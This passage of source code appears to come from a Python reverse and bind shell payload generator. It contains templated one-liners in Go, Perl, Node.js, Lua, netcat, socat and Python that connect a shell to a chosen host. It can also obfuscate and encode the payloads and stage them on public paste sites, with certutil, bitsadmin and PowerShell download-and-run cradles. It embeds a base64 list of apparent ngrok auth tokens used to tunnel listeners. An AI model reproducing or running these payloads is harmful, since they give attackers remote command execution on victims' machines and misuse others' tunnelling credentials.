"golang": '''echo 'package main;import"os/exec";import"net";func main(){{c,_:=net.Dial("tcp","{host}:{port}");cmd:=exec.Command("{shell_path}");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}}'>/tmp/t.go &&{binary_name} run /tmp/t.go&&rm /tmp/t.go''',
},
"golang-windows": {
"golang": '''echo package main;import"os/exec";import"net";func main(){{c,_:=net.Dial("tcp","{host}:{port}");cmd:=exec.Command("{shell_path}");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}}>%tmp%\\0.go&{binary_name} run %tmp%\\0.go&del %tmp%\\0.go %tmp%\\0''',
},
"perl-linux": {
"perl": """{binary_name} -e 'use Socket;$i="{host}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("{protocol}"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{shell_path} -i");}};'""",
"perl-2": """{binary_name} -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{host}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'""",
},
"perl-windows": {
'perl': '''{binary_name} -e "use Socket;$i='{host}';$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname('{protocol}'));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('{shell_path}');}};"''',
'perl-2': '''{binary_name} -MIO -e "$c=new IO::Socket::INET(PeerAddr,'{host}:{port}');STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"''',
},
"java": {
"java-jar": "{binary_name} -jar Reverse_Shell.jar {host} {port}",
"java-jar-github": "wget -q https://raw.githubusercontent.com/ivan-sincek/java-reverse-tcp/main/jar/Reverse_Shell.jar -O 0&&java -jar 0 {host} {port}&&del 0||rm 0",
"java-jar3": "{binary_name} -jar JavaStager-0.1-initial.jar http://attackerip/payload.java",
"java-jsp": "https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp",
"java-jsp2": "https://github.com/ivan-sincek/java-reverse-tcp/blob/main/jsp/reverse/jsp_reverse_shell.jsp",
"java-jsp-msfvenom": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={host} LPORT={port} -f raw>reverse.jsp",
"java-war-msfvenom": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={host} LPORT={port} -f war>reverse.war"
},
"nodejs-linux": {
"nodejs-async": """echo 'require("child_process").exec("{shell_path} -i >& /dev/tcp/{host}/{port} 0>&1")'|{binary_name}""",
"nodejs-sync": """echo 'require("child_process").execSync("{shell_path} -i >& /dev/tcp/{host}/{port} 0>&1")'|{binary_name}""",
"nodejs-spawn": """echo '!function(){{var e=require("net"),n=require("child_process"),r=n.spawn("{shell_path}",[]),t=new e.Socket;return t.connect({port},"{host}",function(){{t.pipe(r.stdin),r.stdout.pipe(t),r.stderr.pipe(t)}}),/a/}}();'|{binary_name}""",
},
"nodejs-windows": {
"nodejs-async": "echo require('child_process').exec('nc -e {shell_path} {host} {port}')|{binary_name}",
"nodejs-sync": "echo require('child_process').execSync('nc -e {shell_path} {host} {port}')|{binary_name}",
"nodejs-spawn": '''echo !function(){{var e=require("net"),n=require("child_process"),r=n.spawn("{shell_path}",[]),t=new e.Socket;return t.connect({port},"{host}",function(){{t.pipe(r.stdin),r.stdout.pipe(t),r.stderr.pipe(t)}}),/a/}}();|{binary_name}''',
},
"lua": {
"lua5.1": '''lua5.1 -e \'local host, port = "{host}", {port} local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()\'''',
"lua-linux": '''{binary_name} -e "require('socket');require('os');t=socket.tcp();t:connect('{host}','{port}');os.execute('{shell_path} -i <&3 >&3 2>&3');"''',
},
},
"bind": {
"bash": {
"bash-bind": "rm -f /tmp/m;mkfifo /tmp/m;cat /tmp/m|{shell_path} -i 2>&1|nc -l {port} >/tmp/m",
},
"netcat": {
"nc": "rm -f /tmp/m;mkfifo /tmp/m;cat /tmp/m|{shell_path} -i 2>&1|nc -l {port} >/tmp/m",
"nc-e": "{binary_name} -Lnp {port} -e {shell_path}{nc_args}",
"ncat-e": "ncat -lnp {port} -e {shell_path}{ncat_args}",
"ncat-ssl": "ncat -lnp {port} -e {shell_path} --ssl",
"DotnetCat": "dncat -lp {port} -e {shell_path}",
},
"socat": {
"socat": "{binary_name} -d -d {protocol}4-LISTEN:{port} EXEC:'{shell_path}'{socat_args}",
"socat-ssl": "{binary_name} OPENSSL-LISTEN:{port},cert=bind.pem,verify=0,fork EXEC:'{shell_path}'{socat_args}",
},
"python": {
"python-bind": '''{binary_name} -c "import subprocess as u;c=__import__('socket').socket();c.bind(('{host}',{port}));c.listen(0);cc,a=c.accept();p=u.Popen(['{shell_path}'],stdin=u.PIPE,stdout=u.PIPE,stderr=u.STDOUT);r=__import__('threading').Thread(target=lambda:[cc.send(p.stdout.read(1024)) for _ in iter(int,1)],);r.start();[p.stdin.flush() for _ in iter(int, 1) if p.stdin.write(cc.recv(1024))]"''',
"pwncat": "pwncat -l {host} {port} -e {shell_path}{pwncat_args}",
},
"perl-linux": {
"perl-bind": """{binary_name} -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("{protocol}"));bind(S,sockaddr_in($p,INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){{open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("{shell_path} -i");}};'""",
},
"perl-windows": {
'perl-bind': '''{binary_name} -e "use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname('{protocol}'));bind(S,sockaddr_in($p,INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){{open(STDIN,'>&C');open(STDOUT,'>&C');open(STDERR,'>&C');exec('{shell_path}');}};"''',
},
"golang": {
"gotty-webshell": "gotty {gotty_args}-w --reconnect {shell_path}"
}
}
}
# load payloads.yml or payloads.json
yaml_file = os.path.join(exec_path, "payloads.yml")
json_file = os.path.join(exec_path, "payloads.json")
if os.path.exists(yaml_file) and not os.path.isdir(yaml_file):
import yaml
payloads_file = yaml_file
try:
with open(yaml_file) as yf:
payloads = yaml.safe_load(yf)
except yaml.scanner.ScannerError as _:
print("\n'" + payloads_file + "' Parse error:" + str(_) + ", Load built-in payloads.")
elif os.path.exists(json_file) and not os.path.isdir(json_file):
payloads_file = json_file
# py2 or py3
try:
json_error = json.decoder.JSONDecodeError
except AttributeError:
json_error = ValueError
try:
with open(json_file) as jf:
payloads = json.load(jf)
except json_error as _:
print("\n'" + payloads_file + "' Parse error:" + str(_) + '\n' + "Load built-in payloads.")
except Exception as _:
print(_)
# get shell_type list
shell_types = []
for k in payloads.keys():
for v in payloads[k].keys():
if v not in ['bash-password', 'bash-ssl', 'bash-ssl-password', 'netcat-windows', 'netcat-password',
'netcat-ssl', 'netcat-ssl-password', 'netcat-windows-password', 'telnet-linux',
'openssl-linux', 'python-windows', 'php-windows', 'ruby-linux', 'golang-linux',
'golang-windows', 'perl-linux', 'perl-windows', 'nodejs-linux', 'nodejs-windows']:
shell_types.append(v)
elif v == "telnet-linux":
shell_types.append('telnet')
elif v == "openssl-linux":
shell_types.append('openssl')
elif v in ['nodejs-linux', 'nodejs-windows']:
shell_types.append('nodejs')
elif v in ['ruby-linux', 'ruby-windows']:
shell_types.append('ruby')
elif v in ['perl-linux', 'perl-windows']:
shell_types.append('perl')
shell_types = sorted(set(shell_types))
except KeyboardInterrupt:
try:
sys.exit(0)
except NameError:
pass
except (Exception,) as _:
print(_)
def Generator(host="127.0.0.1", port="44444", port2="", shell_type="bash", shell_path="", platform="[]", password="",
binary_name=None, protocol="tcp", direction="reverse", encryption=None, interactive_mode="Interactive",
ip_obfuscator=None, obfuscator=None, encoder=None, web=False, output=False, staging_cmd="0",
staging_url=None, localtunnel=None, authtoken="", notunnel=False):
if host == "":
host = "127.0.0.1"
if port == "":
port = "44444"
if platform is None:
platform = []
if port and not port2:
try:
port2 = int(port) + 1
except (TypeError, ValueError):
pass
conn_info = str(host) + ":" + str(port)
if localtunnel and not notunnel:
tokens = "MXBxTlBvbWdkOElTNE1FVkQ1aXhXcWJ5bmNpXzdxUFVWOFBROWJaaERoUjIzZ3ZCcSwxcWtNTWR1Qk96REVFWmdidlRWVW1pRjdCODhfMmNuVGU4R041WTVOS0VuZjN2OTZ2LDFxa01UdG9yUkp0UURqS2FESGdEQmhWcXhNMF81TVJnekdaWVdzajNlcmtFb2ZOelAsMXFrTWFTamtmbWdueTR0ZE5HaHc4Q0VsdFdMX3hOb0t0ZG53TnlnaGlGUGdnUFBLLDFxa01pUXBqM2RQODN3c2xUSXJwVmVGUGMyUF8ySmVkdnRQWlA5dGdFTDhUUlVaWTcsMXF5OGw1Q0xsT1JlVDZ0ZERRaUx4anlQOTB0XzVBMk1jMWFEYU1yUmtnckpQcmtyMSwxcXk4ejlvY3Z1cFU0dHZVa0U1a3FrcWNzWlZfODVKNk1QVEdjUzRSZ2dkaXMxcGNwLDFxeTk0ZEJjdndkMzc0ZGdQMTkzUGdJQ0pTQV9QS2VKTk1lTlZOcE5jVUI3YkY1aCwxcXk5R0dTRVBjZVNhdWFtb1Nra05oMzNydDZfNHd1VWV3NDRBOUFVQTExc21ZQTczLDFxeTlMRW5OSWc4ZmxIVENLVHhsUWE4V1RoOF81YkFpVnFTOEhSamRlMndKRnJxQnYsMXF5OWI1RTNsdW02UE5IZG0xUXVscjZGRDJrXzVoaU1VYzRKRlh3WnFROWlrTmE0RCwxcXk5ZmJrcjZzWERzZXptTnU0Y2ZPUHhGN0VfNGdlU2NGSENBZUJNc1BEM2hreVBtLDFxeTlVV3o3TjViSDdDYTdXOHRzZEtNVVRpUF8zTXYzSHhRZFh0YUVqYjd3cnJjMlosNVMyOHJCS2djMjJaVzdldnllZE5UX1l2RW0xNVJaU0hkWGdTNFF3WWJrLDlBWjdSSnVMRFVBcVR6OFhMWkU1XzZ0czVrVFdDdnZFNW81QmRUNWp5RSw0NkJVR0Q0WGhVUFRhSHE3WEpCd3ZfN2UxUFpVbjVRbTZaMjczNWk2NFVOLDFocGYzOVlYMnFDWHFBa01NY1JMQzBMNHd3OV8yVldnMUNkSFhHamNnbm9KSDJxRWYsMVVxSHNTaGk2bzNrZXRmNDI2UDVVdFZkVGZzXzVYRkQ2c0ZSTWtyeWthOGZBYkxkMyxMc1ZaRnhGcWd4QTRoN2liV1Y5Vl9pdUE5YWZiUXdhU25HcUg5ZEFwTCwxaHZSZjBMdnd1QUkwU29DZkI1SjBDbnowMmNfcVk4UGZrNUhSa3hxZ1o4VUZIZGcsNHJZdXZBVHl3MTlDbWszeXV4SkRlXzRTc3NOVEViMjdFRTFVNGVzMTdwSiwxUHhaNUVxRUJtUFlZeFU3bGJVWUNSTmRKbGdfNURld1lkMnNWQVNvOFpka21Bam9VLDFQQ2pUbFZGdGVoYlAwR1c4MkNIZlhIcXBzOF9RbXJlRE5XRFVUd3RIMlVjRDc1ayw3dUczd1pqdnZTWFpZTVczNkxZZTNfNGhSYzZuYnpieTdhUjQyRk1adXVVLDFoZEZKbVFDNmlJYWsxZVNicXgxdDdScng1Nl8ySkxwYXNEVkh5YkJpeFd2N1hmdG0sM0YzZUxRUlZzVUc1Z3FWUFRORDNBXzJ2WFh0UENqSzNUbm5FYXp4SEU3YSw1aW9IcDNRcjF6dHNNejlhZFhUSDdfNUdGNllUcEVuY3pWcmpHdm15ZDZSLDFnWU5HQ3cxWlJnelJUTWNrZWpaSjY4ZmJPZV8zZEZaSmZMdUE4dFRzZUxDbWpZV0ssM0dQbWZWOGVWd0c3WTQ5VDQ5ajJGXzVhYXpqazQ4b3dxS0E5SkpaTnM0ZixLdVRLUm9zcmF3ckRNQWdYMWF5cV83QUFtc1ZTb200RTZHdFQxOFMxcG4sMVdSS3Y2cHdqWjBwYmpTRnBtRFZyQjN0aDJkXzcybzZxVlpSUkpOSGU0VUJuTFJETSwxaVZGTmNlaU9ZczZQUDBWQUlKZ2RrdGV0aW9fNXFXeGl4M2RMTHNkRktwdEdzUXM1LDFYN2FZV1B1RktZenZld0xibk5vTW83MWtaaV8ydXpiQjk2NlE0VFU1Y3BnTlBLaHksN0xFMThMSzh6ZWFEWWV5YnA1ZktQXzZHTkcxb0hFZmhUblFFN3M5cXB3LDFRZTFJZXlTT1FXU1RucFEzZUZmcjhqN09pNV8yemhhbnFucFp3SEJoc2ZBTmQ2eWYsMVhKTk5uRzhrWnNQampGbUxzWU5XQ0MwZ0lvXzdWcEJod1RjdmhpdUs0bzJHMmpidCwxWHpQNzBrN1lWcmc3TU1hSFFXUGtzMFE4WmFfN3k2YjFtVERKRG1KV2N1cXQ1cVRwLDFZMTRHQjdFNGFjWHhXWW5WVGlCZWpnbkx1Vl84NTN6N21BZ2FUSnhFOUtZM0huQ1csMVhrb0tOTGN5aVBFQ2NRZkdVanJUVnpONjRQXzd0djJZZ0M0RFNuYXp5VnRwQ3BIbSwxWGM3ejB1SHhEb0k5QWgwNkVRS2dINjF6b1BfNldUUFhER3ZqRm1jcDJvN2dObXFhLDFxa01xNHA2NDRxWGNXVndXaVl2NlM2NGxuMl91NjRYRGVLWjlpUWRMQTVVakh4OCwxcWtNd2dCNXdJc2oyOXozZEtueEZwTW1yVnJfM2N2eWNoWG8zRm9mWDNYTmVWMTRHLDNjNFdaYXhQYmplUndSaWJZNW9wVV8yTjRUVFJLYUR1YnRFV01lS2tGWG4sM2ZXNGVYSGRVTjN6aUNCWGNhaFpfM3RuRGRhVHlMdzh0S3pKdEtaa0xwLDNDcWVGWlFodDQzY0c1WjJZS2Z5dl82YUtUcmdyYm8xSHR5Umk3OGhSS0ssMVJDUXdjdFZqU3o4QUl6SE82UzU1am04WEI4XzVONlBxeVpWbm9ON21VVnFGMXl2VCwzWThZU3c2YnZDOUNzYlllUmN6bXRfOGFrTXVMWUEzYkFVc2hQMU5DTW5XLDFYU1lxOGdteHpOZ01sWVF6RVJtQzUwdUJvdF82cVVSWm5qNDNLc1lGMkdXYVVhbW0sN1ZKd0drQ1RUVXViaUdoZ3o2R3Y2XzVmTUxnYW5SU0tqOW50ZGVmbkY1bywzVm5yclhEUVZIb05wOUh2SEZocVhfM1g0SkV4d202TDluNnc0cHBMMXF5LDFTaHNoTndmaFFjeU9xbE1qbkJEVkU1WDVqQ18zV0Ftem9tTUhBZ2t1bmthNGRTY2ssNzcyeUZBdWk2eW5IOUFZeDI5SEhTXzVYY3I4OHBIdFBUUUx3ZXd2N0N0aywxVDc1MGF0SmkzeGNjbmRlVXFKNGV3aVM2Mm9fMnM2ZjhHVWNjTDFxRFVYVEdTZnROLDFRVXlzUlVvOTd3NW1kQjZzQ1p2VFRNTTBhS18zdW5vTXM2bllkN2dyZ0NrdWhiajMsNWVNeXdaTGlzSk5keWJxcEZMVmdzXzRYUURlRjNZQ01IdTFZYmY3bVZFNiwxU0dzNHM5TnJoeFA5RlJVUnN6akwxbklUU3Zfb3RjcGZwYjZhTVZFTDEzdTNkdjEsMVN1SzJ1a005WjROb2hvSmJVOTIyNHVNelhyXzZoMUFCZENySlUyRXZpWnY0Uk40ciw3ZWNtdDJLdXg1dVlzVFVIcnJxR1VfM1c5Q0puYVNlU3l4aXdranhOaEhjLDJEWFVSanJVaEFaWk5NaHFONW0xRl82SEh6ZWpjZlJlY1A4dXB3Sm5OQmQsMjVuQllZb0poUnU5RlhyQVRsT3FnZlluTmwyXzducUJaZUtlMzdoYkcyZFUxdkFYbg=="
if authtoken == "":
authtoken = random.choice(b64.b64decode(tokens.encode()).decode().split(','))
region = localtunnel[6:]
name = "ngrok-tcp-" + region
public_url = None
# print([x.name for x in __import__('threading').enumerate()])
if name not in [_.name for _ in threading.enumerate()]:
try:
if not os.path.exists(conf.get_default().ngrok_path):
ngrok_path = os.path.abspath(os.path.join(exec_path, conf.get_ngrok_bin()))
else:
ngrok_path = conf.get_default().ngrok_path
global ngrok_conf
ngrok_conf = conf.PyngrokConfig(region=region, auth_token=authtoken, monitor_thread=False,
ngrok_path=ngrok_path)
if not os.path.exists(ngrok_path):
ngrok_ssl = ssl.create_default_context()
ngrok_ssl.check_hostname = False
ngrok_ssl.verify_mode = ssl.CERT_NONE
download_status = os.path.join(__import__('tempfile').gettempdir(),
str(__import__('time').time())[0:7])
if not os.path.exists(download_status):
with open(download_status, 'w') as f:
f.write('')
installer.install_ngrok(ngrok_conf.ngrok_path, context=ngrok_ssl)
os.remove(download_status)
t = ThreadWithReturn(target=tunnel, name=name, kwargs={"protocol": "tcp", "port": port})
t.daemon = True
t.start()
public_url = t.join(timeout=60)
except KeyboardInterrupt:
sys.exit(0)
else:
uri = "http://127.0.0.1:4040/api/tunnels"
try:
for _ in range(3):
sleep(1)
public_url = requests.get(uri, timeout=3).json()["tunnels"][0]["public_url"]
# public_url = ngrok.api_request(uri, method="GET")["tunnels"]["public_url"]
if public_url:
break
except (Exception,):
pass
finally:
if not public_url:
ngrok.kill(ngrok_conf)
if public_url:
try:
public_host = public_url.split("tcp://")[1].split(":")[0]
host = socket.gethostbyname(public_host)
public_port = public_url.split("tcp://")[1].split(":")[1]
conn_info = host + ":" + public_port + "<==>" + "127.0.0.1:" + str(port)
port = public_port
except (Exception,):
pass
dec_ip = host
if ip_obfuscator:
regex = r"^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$"
regex = re.compile(regex)
if regex.match(host):
dec_ip = Obfuscator().ipObf(host, ip_obfuscator)
try:
shell_type = shell_type.lower()
direction = direction.lower()
except (AttributeError, TypeError, ValueError):
pass
if platform:
platform = platform.lower().split(",")
if shell_path:
if "windows" in platform:
if shell_path.lower() == "auto":
shell_path = "%ComSpec%"
else:
platform = "[linux, mac, bsd, solaris]"
if shell_path.lower() == "auto":
shell_path = "$BASH"
else:
shell_path = "cmd.exe" if ("windows" in platform and shell_type not in ["bash", "telnet",
"openssl"]) or shell_type in [
"powershell", "csharp"] else "bash"
if isinstance(encoder, str):
encoder = encoder.split(",") if "," in encoder else encoder.split(" ")
# shellcode = False
# is_code = False
# is_fuzz = False
payloads_dict = {}
nc_args = ncat_args = pwncat_args = socat_args = gotty_args = ""
try:
protocol = protocol.lower()
if protocol not in ["tcp", "udp", "https"]:
protocol = "tcp"
if shell_type == "bash":
platform = "[linux, mac, bsd, solaris]"
if password != "":
shell_type = "bash-password"
if protocol == "https" or encryption == "ssl":
shell_type = "bash-ssl-password" if password != "" else "bash-ssl"
protocol = "https"
elif protocol not in ["tcp", "udp"]:
protocol = "tcp"
elif shell_type in ["powershell", "csharp"]:
platform = "windows"
elif shell_type == "netcat":
if protocol == "udp":
nc_args = ncat_args = pwncat_args = " -u"
if protocol == "https" or encryption == "ssl":
ncat_args = " --ssl"
shell_type = "netcat-ssl"
protocol = "https"
if "windows" in platform:
if password != "":
shell_type = "netcat-windows-password"
else:
if password != "":
shell_type = "netcat-ssl-password"
elif protocol in ["tcp", "udp"]:
if "windows" in platform:
shell_type = "netcat-windows"
if password != "":
shell_type = "netcat-windows-password"
else:
if password != "":
shell_type = "netcat-password"
elif protocol not in ["tcp", "udp"]:
protocol = "tcp"
elif shell_type == "telnet":
platform = "[linux, mac, bsd, solaris]"
shell_type = "telnet-linux"
elif shell_type == "openssl":
platform = "[linux, mac, bsd, solaris]"
shell_type = "openssl-linux"
elif shell_type == "perl":
if protocol not in ["tcp", "udp"]:
protocol = "tcp"
shell_type = "perl-windows" if "windows" in platform else "perl-linux"
elif shell_type == "nodejs":
shell_type = "nodejs-windows" if "windows" in platform else "nodejs-linux"
elif shell_type == "python":
if "windows" in platform:
shell_type = "python-windows"
elif shell_type == "php":
if "windows" in platform:
shell_type = "php-windows"
elif shell_type == "ruby":
shell_type = "ruby-windows" if "windows" in platform else "ruby-linux"
elif shell_type == "socat":
if protocol not in ["tcp", "udp"]:
protocol = "tcp"
if "windows" in platform:
socat_args = ",pipes"
elif shell_type == "golang":
if protocol not in ["tcp", "udp"]:
protocol = "tcp"
if direction == "reverse":
shell_type = "golang-windows" if "windows" in platform else "golang-linux"
except AttributeError:
pass
if not binary_name:
# Mapping shell type to binary name
binary_names = {"netcat": "nc", "nodejs": "node", "golang": "go", "perl-linux": "perl", "perl-windows": "perl",
"golang-windows": "go", "golang-linux": "go", "ruby-linux": "ruby", "ruby-windows": "ruby",
"telnet-linux": "telnet", "openssl-linux": "openssl", "nodejs-windows": "node",
"nodejs-linux": "node", "python-windows": "python", "netcat-password": "nc",
"netcat-windows": "nc", "netcat-windows-password": "ncat"}
if shell_type in binary_names:
for i, j in binary_names.items():
if shell_type == i:
binary_name = j
else:
binary_name = shell_type
# format payload
try:
fmt = string.Formatter()
if direction in payloads and shell_type in payloads[direction]:
for name, payload in payloads[direction][shell_type].items():
if dec_ip and name not in ["ncat", "ncat-c"]:
host = dec_ip
plain_payload = fmt.vformat(payload, (),
Default(shell_path=shell_path, protocol=protocol, host=host, port=port,
port2=port2,
socat_args=socat_args, binary_name=binary_name, password=password,
nc_args=nc_args, ncat_args=ncat_args, pwncat_args=pwncat_args,
gotty_args=gotty_args))
payloads_dict[name] = plain_payload
except (Exception,) as e:
print("'" + payloads_file + "' Parse error: " + str(e))
# encode payload
if encoder and encoder != "":
for name, payload in payloads_dict.items():
for i in encoder:
if i != "url":
payload = Encoder(shell_type, platform, i, payload, shell_path)
payloads_dict[name] = payload
# Staging payload
if staging_url:
wrapper = PayloadWrapper()
staged_payload_dict = wrapper.staging(platform, payloads_dict, shell_path, staging_url, staging_cmd)
if staged_payload_dict is not None:
payloads_dict.update(staged_payload_dict)
else:
# retry
randnum = random.choice([i for i in range(0, 9) if i != staging_url])
staged_payload_dict = wrapper.staging(platform, payloads_dict, shell_path, randnum, staging_cmd)
if staged_payload_dict is not None:
payloads_dict.update(staged_payload_dict)
# obfuscate
if obfuscator:
for name, payload in payloads_dict.items():
obf_payload = Obfuscator().obf(payload, obfuscator, platform)
payloads_dict[name] = obf_payload
# URL Encode
if encoder and "url" in encoder:
payloads_urlencoded_dict = {}
for name, payload in payloads_dict.items():
url_payload = Encoder.url(payload)
payloads_urlencoded_dict[name] = url_payload
payloads_dict.update(payloads_urlencoded_dict)
# Get payload size
payloads_size_dict = {}
for name, payload in payloads_dict.items():
if payload:
payload_size = str(len(payload))
if output or len(payload) > 8192 and not web:
output_dir = os.path.join(exec_path, "rcx_results")
filename = name + "-" + str(len(payload)) + ".txt"
filepath = os.path.join(output_dir, filename)
try:
if not os.path.isdir(output_dir):
os.mkdir(output_dir)
with open(filepath, "wb") as outfile:
outfile.write(payload.encode("utf-8"))
if output:
payload = "Payload is saved in \033[1;37m" + filepath + "\033[0m"
else:
payload = "The payload is too large, has been written to \033[1;37m" + filepath + "\033[0m"
except Exception as e:
print(e)
pass
payloads_size_dict[name + "(size:" + payload_size + ")"] = payload
payloads_dict = payloads_size_dict
# Generate Payloads Attribute Title
try:
port = int(port)
if port >= 65536:
port = port - 65536
conn_info = host + ":" + str(port)
except (TypeError, ValueError):
pass
encoder_info = str(encoder) if encoder else None
title = ""
try:
if shell_type == binary_name:
shell_info = shell_type + ":" + shell_path
else:
shell_info = shell_type + ":" + shell_path + ":" + binary_name
staging_info = "Staged" if staging_url else None
title = list(filter(None, [conn_info, shell_info, encoder_info, ip_obfuscator, obfuscator, staging_info,
direction, protocol.upper(), interactive_mode, encryption, platform]))
except TypeError:
pass
return title, payloads_dict
def tunnel(protocol=None, port=None, _dir=None, url=None):
try:
if protocol == "tcp":
tun = ngrok.connect(port, protocol, pyngrok_config=ngrok_conf)
elif protocol == "file":
tun = ngrok.connect("file://" + _dir, pyngrok_config=ngrok_conf)
sleep(1)
try:
url = tun.public_url
except AttributeError:
url = tun
except UnicodeDecodeError as e:
print(e)
pass
except Exception as e:
if "URLError: timed out" or "TimeoutError" in str(e):
ngrok.kill(ngrok_conf)
else:
print(e)
pass
return url
class PayloadWrapper:
def __init__(self):
self.staging_url = None
self.shell_path = None
self.platform = None
def staging(self, platform=None, payloads_dict=None, shell_path=None, staging_url=None, staging_cmd=None):
self.shell_path = shell_path
self.platform = platform
self.staging_url = staging_url
staging_apis = {"0": {"url": "https://tcp.st", "api": "tcp.st:7777", "method": "socket"},
"1": {"url": "https://oshi.at", "api": "https://oshi.at/", "method": "put"},
"2": {"url": "https://temp.sh", "api": "https://temp.sh/0", "method": "put"},
"3": {"url": "https://p.ip.fi", "api": "https://p.ip.fi/", "method": "post"},
"4": {"url": "https://sicp.me", "api": "https://sicp.me/p/", "method": "post"},
"5": {"url": "https://transfer.sh", "api": "https://transfer.sh/0", "method": "put"},
"6": {"url": "https://dpaste.com", "api": "https://dpaste.com/api/v2/", "method": "post"},
"7": {"url": "https://termbin.com", "api": "termbin.com:9999", "method": "socket"},
"8": {"url": "https://p.teknik.io", "api": "https://p.teknik.io/Action/Paste",
"method": "post"},
"9": {"url": "https://www.toptal.com",
"api": "https://www.toptal.com/developers/hastebin/documents", "method": "post"},
"10": {"url": "https://paste.centos.org", "api": "https://paste.centos.org/", "method": "post"},
# "11": {"url": "https://glot.io", "api": "https://glot.io/new/python", "method": "post"},
}
headers = '''{{
"Connection": "keep-Alive",
"DNT": "1",
"sec-ch-ua-mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept": "*/*",
"X-Requested-With": "XMLHttpRequest",
"Origin": "{0}",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "{1}",
"Accept-Language": "*"
}}'''
data_dict = staged_payload_dict = {}
if staging_url in staging_apis.keys():
i = staging_url
staging_api = staging_apis[i]["api"]
headers = json.loads(headers.format(staging_apis[i]["url"], staging_apis[i]["url"]))
if staging_url in ["0", "1", "2", "5", "7", "9"]:
data_dict = payloads_dict
else:
for name, payload in payloads_dict.items():
if staging_url in ["3", "4"]:
data_dict[name] = {"paste": payload}
elif staging_url in ["6", "8"]:
data_dict[name] = {"content": payload}
elif staging_url == "10":
data_dict[name] = {"code": payload, "submit": "submit", "lang": "text"}
try:
if staging_url in ["8", "10"]:
payload_url_dict = self.request2(staging_api, "post", headers, data_dict)
elif staging_url in ["0", "7"]:
host = staging_apis[i]["api"].split(":")[0]
port = staging_apis[i]["api"].split(":")[1]
payload_url_dict = self.socket(host, port, data_dict)
else:
payload_url_dict = self.request(staging_api, staging_apis[i]["method"], headers, data_dict)
except (Exception,):
pass
else:
for name, payload_url in payload_url_dict.items():
if staging_url == "0":
payload_url = payload_url.split()[1]
elif staging_url == "1":
payload_url = payload_url.split("\r\n")[1].split(" ")[0]
elif staging_url == "3":
payload_url = payload_url + ".txt"
elif staging_url in ["4", "7"]:
payload_url = payload_url.replace("\n", "")
elif staging_url == "5":
payload_url = payload_url.replace(".sh/", ".sh/get/")
elif staging_url == "6":
payload_url = payload_url.replace("\n", "") + ".txt"
elif staging_url == "8":
payload_url = payload_url.replace(".io/", ".io/raw/")
elif staging_url == "9":
payload_url = "https://www.toptal.com/developers/hastebin/raw/" + json.loads(payload_url)['key']
elif staging_url == "10":
payload_url = payload_url.replace("/view/", "/view/raw/")
else:
print("error", payload_url)
staged_payload_dict[name] = self.urlWrapper(staging_cmd, payload_url) + "|" + shell_path
else:
for name, payload_url in payloads_dict.items():
staged_payload_dict[name] = self.urlWrapper(staging_cmd, staging_url) + "|" + shell_path
return staged_payload_dict
def urlWrapper(self, staging_cmd=None, payload_url=None):
staging_cmds = {
"0": {"name": "curl", "platform": "*", "binary": "curl", "args": " {0}",
"description": "Download remote files"},
"1": {"name": "wget", "platform": "*", "binary": "wget", "args": " -qO- {0}", "description": ""},
"2": {"name": "jrunscript", "platform": "*", "binary": "jrunscript", "args": '''-e "cp('{0}')"''',
"description": ""},
"3": {"name": "bitsadmin", "platform": "windows", "binary": "bitsadmin",
"args": " /transfer n {0} %cd%\\0&&powershell gc 0",
"description": "Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10"},
"4": {"name": "certutil", "platform": "windows", "binary": "certutil",
"args": " -urlcache -split -f {0} cd.bat|cd.bat",
"description": "Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10"},
"5": {"name": "powershell-Invoke-WebRequest", "platform": "windows", "binary": "powershell",
"args": ''' (IWR '{0}').Content''',
"description": "only windows"},
"6": {"name": "powershell-curl", "platform": "windows", "binary": "powershell",
"args": ''' (curl {0}).content''',
"description": "only windows"},
"7": {"name": "powershell-wget", "platform": "windows", "binary": "powershell",
"args": ''' (wget {0}).content''',
"description": "only windows"},
"8": {"name": "powershell-bitstransfer", "platform": "windows", "binary": "powershell",
"args": ''' "Import-Module bitstransfer;start-bitstransfer {0} 0;gc 0"''',
"description": "only windows"},
"9": {"name": "powershell-DownloadString", "platform": "windows", "binary": "powershell",
"args": ''' (New-Object System.Net.WebClient).DownloadString('{0}')''',
"description": "only windows"},
"10": {"name": "powershell-DownloadFile", "platform": "windows", "binary": "powershell",
"args": ''' (New-Object System.Net.WebClient).DownloadFile('{0}','0');GC 0''',
"description": "only windows"},
"11": {"name": "certoc.exe", "platform": "windows", "binary": "certoc", "args": " -GetCACAPS {0}",
"description": "only Windows Server 2022"},
